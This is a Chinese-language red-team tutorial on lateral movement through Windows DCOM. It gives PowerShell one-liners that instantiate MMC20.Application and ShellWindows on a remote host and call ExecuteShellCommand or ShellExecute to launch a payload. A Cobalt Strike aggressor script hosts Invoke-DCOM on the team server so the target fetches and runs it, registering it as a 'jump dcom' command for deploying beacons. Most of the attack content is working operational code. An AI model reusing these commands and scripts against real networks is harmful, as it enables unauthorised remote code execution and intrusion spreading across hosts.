DCOM
根据 Microsoft (https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model),组件对象模型 (COM) 是分布式、平台独立、面向对象的,用于创建可交互的二进制软件组件的系统。COM 是 Microsoft 的 OLE 、ActiveX 和其他技术的基础技术。
对于攻击者来说,DCOM 还可以用于远程代码执行和横向移动,需要访问端口 135 和本地管理员权限。相对来说,基于 DCOM 的横向移动会更加难以侦查,因为有多种方法可用,并且都有各自不同的 IoC。以及还有大量未被文档记录的方法,以及可能含有未被发现 RCE 利用的。
DCOM 基础
以 MMC 应用类来说,它可以让我们脚本化 MMC 管理单元的操作。枚举该 COM 对象的方法和属性,发现 ExecuteShellCommand 看起来可以用于远程代码执行。
$com=[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>"))
$com.Document.ActiveView | Get-Member
就这样,我们有了这么一个 DCOM 应用可以通过网络远程访问并且执行命令。不过,不是每个 DCOM 对象都有关联的 ProgID,例如 ShellWindows,我们就不能通过 ProgID 来查询了。
我们可以使用 OleViewDotNet (https://github.com/tyranid/oleviewdotnet) 工具来查询目标 DCOM 对象的,得到 CLSID,然后通过 GetTypeFromCLSID("<CLSID>","<IP>") 来实例化对象。
顺便,我们能看到 Launch Permission 是空的,这种情况下默认允许管理员访问,这个属性应当被配置具体的访问控制。因此,通过不同的 DCOM 对象进行横向移动可能需要不同的权限。
刚刚的 MMC20 也没有配置具体的访问控制,这也是我们得以在管理员的情况下借助 DCOM 实现横向移动的原因之一。
随着对象在目标主机上的实例化,我们可以与之交互并且调用任何方法
$item = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("<clsid>", "<IP>")).item()
$item.Document.Application | Get-Member
ShellExecute 函数原型如下,我们便可以调用该方法实现代码执行了。
iRetVal = Shell.ShellExecute(
sFile,
[ vArguments ],
[ vDirectory ],
[ vOperation ],
[ vShow ]
);
PowerShell
我们可以通过如下 Powershell 命令对目标主机实现命令执行:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>")).Document.ActiveView.ExecuteShellCommand("<程序>","0","0","0")
我们会发现,成功地创建了指定程序的新进程。
将程序指定为我们的载荷,执行后立刻就收到了新的会话。
这里,我们使用的是 MMC20 的方法。不过 MMC20 是在 DCOM 横向移动中最常被使用的方法,因此受到了更严格的监控。除了 目前为止提到的 MMC20.Application 以及 ShellWindows,ShellBrowserWindow,Excel.Application,Outlook.Application 等同样可被用于远程代码执行,但其中有的方法有特定要求,例如目标主机上安装有 Excel。
C2
jump dcom 插件
CS 没有自带 jump dcom 命令,但我们可以通过外部工具以及聚合脚本来实现。下载 Invoke-DCOM (https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1),并且下载 Elevate Kit (https://github.com/cobalt-strike/ElevateKit),导入 cna 脚本。
在 elevate.cna 最下方添加如下的脚本内容,并重新载入脚本。该脚本将客户端的 Invoke-DCOM.ps1 放在内置 Web 服务器上,使目标主机读取并导入该脚本,最后执行命令。
sub invoke_dcom
{
local('$handle $script $oneliner $payload');
btask($1, "Tasked Beacon to run " .listener_describe($3) . " on $2 via DCOM", "T1021");
$handle = openf(getFileProper("<Invoke-DCOM脚本所在目录>", "<Invoke-DCOM.PS1 脚本名称>"));
$script = readb($handle, -1);
closef($handle);
$oneliner = beacon_host_script($1, $script);
bpowerpick!($1, "Invoke-DCOM -ComputerName \" $+ $2 $+ \" -Method MMC20.Application -Command <载荷地址,反斜杠应为双反斜杠>", $oneliner);
}
beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Program", &invoke_dcom);
通过这样,我们把该脚本以别名的形式集成到了 CS 内置命令中。我们可以看到,jump 里新增了 dcom 的子选项。
因为我们指定了自己的载荷,因此最后的监听器参数任意,不参与实际作用。
第三方工具
Impacket
我们也可以通过 impacket 中的 dcomexec 实现横向移动,指定 DCOM 对象,目前可以使用 MMC20,ShellWindows 以及 ShellBrowserWindow,返回的 Shell 依旧是半交互式的。